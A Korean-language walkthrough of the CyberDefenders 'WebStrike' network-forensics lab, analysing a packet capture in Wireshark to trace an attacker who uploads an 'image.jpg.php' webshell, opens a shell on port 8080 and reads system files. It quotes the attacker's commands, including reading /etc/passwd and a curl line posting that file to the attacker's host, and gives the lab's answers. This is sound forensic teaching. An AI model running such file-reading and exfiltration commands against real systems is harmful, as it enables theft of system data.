Cyberdefenders - WebStrike Lab
카테고리 : Network Forensic
도구 : Wireshark
목적은 PCAP을 분석하여 어떤 행동들을 했는지 분석하는 것이다.
Wireshark와 Vmware를 따로 설치할 필요는 없고
문제 파일 받는 곳에 있던 곳에 가상 환경을 열 수 있게 만들어 놓았다
여기를 통해서 VM환경으로 들어가면 된다.
Start here - Artifacts - WebStrike.pcap을 Wireshark로 열어서 분석을 해보자
Wireshark를 사용해서 공격의 지리적 출처를 파악하려면, IP 주소를 추출하고 그 IP에 대한 지리적 위치 정보를 조회해야 한다.
Wireshark 자체는 위치 정보를 제공하지 않지만, IP를 기반으로 외부 GeoIP 서비스를 사용하면 도시나 국가 단위의 위치를 확인할 수 있다.
pcap을 열어보면 알겠지만 알아낼 수 있는 IP가 2개이다
117.11.88.124
24.49.63.79
가 있는데
빨간 네모칸을 보면 117.11.88.124 -> 24.49.63.79에게 SYN연결을 시도한다는 점을 보면
공격자가 117.11.88.124인 것을 알 수 있다
그럼 정리해 보면
공격자 : 117.11.88.124
피해자 : 24.49.63.79
그럼 공격자 IP를 https://ipinfo.io/ 에 넣어서 보면 지리적 위치를 확인할 수가 있는데
China(중국) 나라의 Tianjin 도시라는 것을 확인할 수가 있다.
공격자의 User agent를 확인하고 싶어 한다.
User agent를 확인하려면 HTTP Header 요청을 확인하면 된다
HTTP 요청 패킷을 까보자
HTTP Header requeset에서 User-Agent를 확인할 수가 있다.
업로드된 웹쉘을 확인하면 되는데 Wireshark에서 웹쉘 업로드를 확인하려면
HTTP Method가 POST인 것을 확인하면 된다.
왜 GET은 안 보고 POST 방식만 보는가 하면
웹쉘은 데이터가 많기 때문에
GET방식은 url 뒤에 데이터를 보내는데 2048로 용량이 제한이 되어있어서 큰 데이터를 보내기 힘들고
주소창에 그대로 노출이 되는 등 여러 가지로 부적합하다
그래서 POST 방식으로 필터링을 걸어서 확인한다
http.request.method == POST // http요청 메서드를 post로 한다.
공격자에서 피해자에게 보낸 POST 요청을 우클릭 -> Follow - HTTP Stream
image.jpg.php 파일을 업로드하는 것을 볼 수가 있다.
업로드를 하려면 http로 통신을 하기 때문에 필터링을 http로 걸어놓아서 보면
post 방식으로 /reviews/upload.php를 요청하는 것을 볼 수가 있는데
여기서 저 경로 쪽일 수도 있다는 걸 생각해 보고
다른 패킷을 더 찾아보면
첫 번째 빨간 네모칸에서
HTTP REQUEST가 GET /reviews/uploads/
HTTP RESPONSE가 HTTP/1.1 200 OK로 온 것으로 보아하니
공격자가 업로드된 폴더의 위치를 파악을 했다
그래서 2번째 빨간 네모칸을 보면
/reviews/uploads/image.jpg.php 악성쉘을 요청을 하는 것을 보아하니
/reviews/uploads/ -> 이곳이 업로드 저장경로이다
공격자가 웹쉘을 요청해서 TCP응답으로 8080 포트로 psh, ack 하는 것을 보아하니
8080 포트가 정답이다.
악성쉘을 요청한 뒤에 3-way handshake로 세션연결이 되었다
그렇다면 저 패킷의 tcp stream을 본다면 어떤 행위를 했는지 알아낼 수 있다
공격자가 여러 가지 명령어를 쓰고 있는데 중요한 것은
cat /etc/passwd
부분이다. 이 명령어로 인해 피해자 컴퓨터의 패스워드 정보를 볼 수 있는데
다행히도 비밀번호 나타내는 부분에 x가 돼있어서 진짜 비밀번호는 /etc/shadow에 저장이 되어있을 것이다 암호화돼서
좀 더 아래로 내려보면
curl -X POST -d /etc/passwd http://117.11.88.124:443/
/etc/passwd 파일을 http://117.11.88.124:443/ 여기로 post방식으로 보내려고 한 것이다
그래서 정답은 passwd